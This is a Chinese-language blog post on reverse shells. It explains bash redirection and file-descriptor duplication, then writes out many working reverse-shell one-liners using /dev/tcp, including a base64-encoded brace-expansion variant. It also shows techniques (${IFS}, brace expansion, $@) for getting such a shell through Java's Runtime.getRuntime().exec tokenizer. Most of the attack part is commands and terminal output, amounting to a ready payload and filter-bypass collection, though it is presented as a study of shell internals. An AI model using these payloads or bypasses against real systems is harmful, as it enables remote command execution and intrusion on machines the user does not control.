Learning Man's Blog

Java 反弹 Shell

字数统计: 2.7k阅读时长: 13 min
2020/03/02

重定向

简单记忆:

  • >可在&前、后
  • <只能在&

1. 输入重定向

-w693

test@test:/tmp$ cat < test_file
Hello World~

2. 输出重定向

-w693

test@test:/tmp$ echo 'Hello World~' > test_file 
test@test:/tmp$ cat test_file 
Hello World~

3. 标准输出与标准错误输出重定向

-w692

// bash 1
test@test:/tmp$ bash -i &> test

// bash 2
test@test:~$ ls -l /proc/5693/fd
总用量 0
lrwx------ 1 test test 64 2月  27 19:00 0 -> /dev/pts/2
l-wx------ 1 test test 64 2月  27 19:00 1 -> /tmp/test
l-wx------ 1 test test 64 2月  27 19:00 2 -> /tmp/test
lrwx------ 1 test test 64 2月  27 19:00 255 -> /dev/tty

4. 文件描述符的复制

-w836

注意:

  1. 两种形式都是将 word 复制给 n
  2. 在第二种形式>&最后的描述中,如果没有指定n,且word无法解释成整数-,则此命令会被解释为标准输出与标准错误输出重定向

根据此两点,如果n为数字,则解析为文件描述符复制


这里还需要将文件描述符的复制标准输出与标准错误输出重定向拿出来比较一番,注意下面>&5&>5的区别

&是否紧跟数字n,会区分为文件描述符n文件n

  • >&5 -> 将文件描述符5复制给stdout
  • &>5 -> 将stdoutstderr重定向到当前目录下名为5的文件
test@test:/tmp$ exec 5<>test_file >&5

test@test:~$ ls -l /proc/14396/fd
总用量 0
lrwx------ 1 test test 64 2月  29 14:16 0 -> /dev/pts/0
lrwx------ 1 test test 64 2月  29 14:16 1 -> /tmp/test_file
lrwx------ 1 test test 64 2月  29 14:16 2 -> /dev/pts/0
lrwx------ 1 test test 64 2月  29 14:16 255 -> /dev/pts/0
lrwx------ 1 test test 64 2月  29 14:16 5 -> /tmp/test_file

---

test@test:/tmp$ exec 5<>test_file &>5

test@test:~$ ls -l /proc/14396/fd
总用量 0
lrwx------ 1 test test 64 2月  29 14:16 0 -> /dev/pts/0
l-wx------ 1 test test 64 2月  29 14:16 1 -> /tmp/5
l-wx------ 1 test test 64 2月  29 14:16 2 -> /tmp/5
lrwx------ 1 test test 64 2月  29 14:16 255 -> /dev/pts/0
lrwx------ 1 test test 64 2月  29 14:16 5 -> /tmp/test_file

5. 打开文件描述符进行读写

-w841

当exec命令对文件描述符操作的时候,就不会替换shell,而是操作完成后还会继续执行后面的命令

test@test:/tmp$ 5<>file

test@test:/tmp$ ls -l /proc/29753/fd
总用量 0
lrwx------ 1 test test 64 2月  29 12:04 0 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:04 1 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:04 2 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:04 255 -> /dev/pts/1

---
test@test:/tmp$ exec 5<>test_file

test@test:/tmp$ ls -l /proc/29753/fd
总用量 0
lrwx------ 1 test test 64 2月  29 12:04 0 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:04 1 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:04 2 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:04 255 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:04 5 -> /tmp/test_file

反弹

文件描述符复制

最常见的模式

bash -i >& /dev/tcp/127.0.0.1/12345 0>&1

// 省略非必要空格
bash -i>&/dev/tcp/127.0.0.1/12345 0>&1

文件描述符复制 2

bash -i >& /dev/tcp/127.0.0.1/12345 <&1

// 省略非必要空格
bash -i>&/dev/tcp/127.0.0.1/12345<&1

绑定重定向

exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done

注意为什么最后又加了一个2>&1呢?回头看看描述符复制注意的地方,就清楚了


另外下面为什么没看到进程30651的bashstdout & stderr被重定向情况呢?因为每次do都是通过此bash新开启一个子进程,并在子进程内进行文件描述符的赋值

test@test:~$ exec 5<>/dev/tcp/127.0.0.1/12345;cat <&5|while read line;do $line >&5 2>&1;done

// 29753 执行反弹 shell 命令
test     29753  4841  0 12:04 pts/1    00:00:00 bash
test     30640  4895  0 12:09 pts/2    00:00:00 nc -lvvp 12345
test     30650 29753  0 12:09 pts/1    00:00:00 cat
test     30651 29753  0 12:09 pts/1    00:00:00 bash

// cat
test@test:/tmp$ ls -l /proc/30650/fd
总用量 0
lrwx------ 1 test test 64 2月  29 12:48 0 -> 'socket:[1487308]'
l-wx------ 1 test test 64 2月  29 12:48 1 -> 'pipe:[1487309]'
lrwx------ 1 test test 64 2月  29 12:48 2 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:48 5 -> 'socket:[1487308]'

// bash
test@test:/tmp$ ls -l /proc/30651/fd
总用量 0
lr-x------ 1 test test 64 2月  29 12:48 0 -> 'pipe:[1487309]'
lrwx------ 1 test test 64 2月  29 12:48 1 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:48 2 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:48 255 -> /dev/pts/1
lrwx------ 1 test test 64 2月  29 12:48 5 -> 'socket:[1487308]'

额外的例子

<&996 >&996 2>&996分别对应复制到stdin stdout stderr

0<&996;exec 996<>/dev/tcp/127.0.0.1/12345;sh <&996 >&996 2>&996

// 变形
exec 996<>/dev/tcp/127.0.0.1/123450 <&996 >&996 2>&996

注意:变形的命令在连接端退出会导致此端同时退出,原因如下:

// 0<&996;exec 996<>/dev/tcp/127.0.0.1/12345;sh <&996 >&996 2>&996
test     18999  2516  0 14:44 pts/0    00:00:00 bash

test@test:~$ ls -l /proc/18999/fd
总用量 0
lrwx------ 1 test test 64 2月  29 14:44 0 -> 'socket:[106812]'
lrwx------ 1 test test 64 2月  29 14:44 1 -> 'socket:[106812]'
lrwx------ 1 test test 64 2月  29 14:45 196 -> 'socket:[106812]'
lrwx------ 1 test test 64 2月  29 14:44 2 -> 'socket:[106812]'
lrwx------ 1 test test 64 2月  29 14:44 255 -> /dev/pts/0

---

// exec 996<>/dev/tcp/127.0.0.1/123450 <&996 >&996 2>&996
test     18999  2516  0 14:44 pts/0    00:00:00 bash
test     20566 18999  0 14:53 pts/0    00:00:00 sh

test@test:~$ ls -l /proc/18999/fd
总用量 0
lrwx------ 1 test test 64 2月  29 14:44 0 -> /dev/pts/0
lrwx------ 1 test test 64 2月  29 14:44 1 -> /dev/pts/0
lrwx------ 1 test test 64 2月  29 14:45 196 -> 'socket:[105103]'
lrwx------ 1 test test 64 2月  29 14:44 2 -> /dev/pts/0
lrwx------ 1 test test 64 2月  29 14:44 255 -> /dev/pts/0
test@test:~$ ls -l /proc/20566/fd
总用量 0
lrwx------ 1 test test 64 2月  29 14:53 0 -> 'socket:[105103]'
lrwx------ 1 test test 64 2月  29 14:53 1 -> 'socket:[105103]'
lrwx------ 1 test test 64 2月  29 14:53 196 -> 'socket:[105103]'
lrwx------ 1 test test 64 2月  29 14:53 2 -> 'socket:[105103]'

其他

https://xz.aliyun.com/t/2549#toc-8

反弹 in Java

Runtime.getRuntime().exec

exec(new String[])

在此模式解析的关键是java.lang.UNIXProcess#UNIXProcess,在-c模式下,可以看到参数为两个

P.S. 个人认为是因为如>&等参数无法被识别为bash参数,它应属于当前 bash 环境下的操作

  1. 直接数组化无法解析,解析参数为 4 个

    -w1640
    -w1005

  2. 数组化 with -c能正确解析,解析参数为 2 个

    -w1680
    -w996

exec(new String)

如果我们只传入一个字符串时,会经过 StringTokenizer 分割,注意会识别五个字符

-w537

-w631

所以我们需要找到一个字符能够绕过分割且能被/bin/bash正确识别为空格

Bypass

${IFS}

一般情况下,$var${var}并没有啥不一样。但是用${ }会比较精确的界定变量名称的范围

-w489

如果直接利用会报错ambiguous redirect(歧义重定向)

# 报错 ambiguous redirect
bash-3.2$ bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/12345${IFS}0>&1
bash: ${IFS}/dev/tcp/127.0.0.1/12345${IFS}0: ambiguous redirect

# 正常
bash-3.2$ bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/12345 0>&1

那么最后一个空格该如何处理呢,我们可以看到,经过>& socks后,stdou stderr 已经被重定向到了 socks 文件,最后一句0>&1就是试图将 stdin 也重定向过去

test@test:~$ bash -i >& /dev/tcp/127.0.0.1/12345

test@test:~$ ls -l /proc/14067/fd
总用量 0
lrwx------ 1 test test 64 2月  27 23:05 0 -> /dev/pts/1
lrwx------ 1 test test 64 2月  27 23:05 1 -> 'socket:[924955]'
lrwx------ 1 test test 64 2月  27 23:05 10 -> /dev/tty
lrwx------ 1 test test 64 2月  27 23:05 2 -> 'socket:[924955]'

注意到文件描述符的复制[n]<&word格式,我们可以将 socks 文件描述符复制到 stdin 中

bash -i >& /dev/tcp/127.0.0.1/12345 0<&1

# 添加 IFS
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/12345${IFS}0<&1

同时由于 n 默认为 stdin,那么我们也可以利用此规则不出现 0

bash -i >& /dev/tcp/127.0.0.1/12345 <&1

# 添加 IFS
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/12345${IFS}<&1

甚至省略最后的空格,以及非必要的空格

bash -i >& /dev/tcp/127.0.0.1/12345<&1

# 添加 IFS
bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/12345<&1

# 省略非必要空格+IFS 测试
test@test:~$ bash${IFS}-i>&/dev/tcp/127.0.0.1/12345<&1

test@test:~$ ls -l /proc/14556/fd
总用量 0
lrwx------ 1 test test 64 2月  27 23:08 0 -> 'socket:[928815]'
lrwx------ 1 test test 64 2月  27 23:08 1 -> 'socket:[928815]'
lrwx------ 1 test test 64 2月  27 23:08 2 -> 'socket:[928815]'
lrwx------ 1 test test 64 2月  27 23:08 255 -> /dev/tty

bash Brace Expansion

花括号扩展,详细见参考资料 3

test@test:~$ echo hello{'world','linux'},
helloworld, hellolinux,
test@test:~$ echo hello{1..5},
hello1, hello2, hello3, hello4, hello5,
test@test:~$ bash -c "{echo,YmFzaCAtaT4mL2Rldi90Y3AvMTI3LjAuMC4xLzEyMzQ1PCYxCg==}|{base64,-d}|{bash,-i}"

Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaT4mL2Rldi90Y3AvMTI3LjAuMC4xLzEyMzQ1PCYxCg==}|{base64,-d}|{bash,-i}");

$@ $*

细节及区别详见:Shell特殊变量

参数处理 说明
$* 以一个单字符串显示所有向脚本传递的参数。
$*"括起来的情况、以$1 $2 … $n的形式输出所有参数。
$@ $*相同,但是使用时加引号,并在引号中返回每个参数。
$@"括起来的情况、以"$1" "$2" … "$n"的形式输出所有参数。

以下内容来自

那么我们就可以利用来反弹shell了。看bash语法:

bash [options] [command_string | file]
-c   If the -c option is present, then commands are read from the first non-option argument command_string.If there are arguments after the command_string, they are assigned to the positional parameters, starting with $0.

结合bash和$@,我们可以变为:

/bin/sh -c '$@|sh' xxx  echo ls

可以成功地执行ls。分析下这个命令,当bash解析到'$@|sh' xxx echo ls,发现$@$@需要取脚本的参数,那么就会解析xxx echo ls,由于$@只会取脚本参数,会将第一个参数认为是脚本名称(认为xxx是脚本名称),就会取到echo ls。那么最终执行的就是echo ls|sh,就可以成功地执行ls命令了。

利用上面这个trick,那么我们就可以执行任意命令了,包括反弹shell。如/bin/bash -c '$@|bash' 0 echo 'bash -i >&/dev/tcp/ip/port 0>&1'最终可以成功地反弹shell

Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1");

Runtime.getRuntime().exec("/bin/bash -c $*|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1");

-w974

最终相当于执行了echo 'bash -i >&/dev/tcp/127.0.0.1/8888 0>&1'|bash命令,成功反弹shell

参考资料

  1. Linux反弹shell(一)文件描述符与重定向
  2. Linux 反弹shell(二)反弹shell的本质
  3. linux下形如{command,parameter,parameter}执行命令 / bash花括号扩展
  4. 绕过exec获取反弹shell
CATALOG
  1. 1. 重定向
    1. 1.1. 1. 输入重定向
    2. 1.2. 2. 输出重定向
    3. 1.3. 3. 标准输出与标准错误输出重定向
    4. 1.4. 4. 文件描述符的复制
    5. 1.5. 5. 打开文件描述符进行读写
  2. 2. 反弹
    1. 2.1. 文件描述符复制
    2. 2.2. 文件描述符复制 2
    3. 2.3. 绑定重定向
      1. 2.3.1. 额外的例子
    4. 2.4. 其他
  3. 3. 反弹 in Java
    1. 3.1. Runtime.getRuntime().exec
      1. 3.1.1. exec(new String[])
      2. 3.1.2. exec(new String)
  4. 4. Bypass
    1. 4.1. ${IFS}
    2. 4.2. bash Brace Expansion
    3. 4.3. $@ $*
  5. 5. 参考资料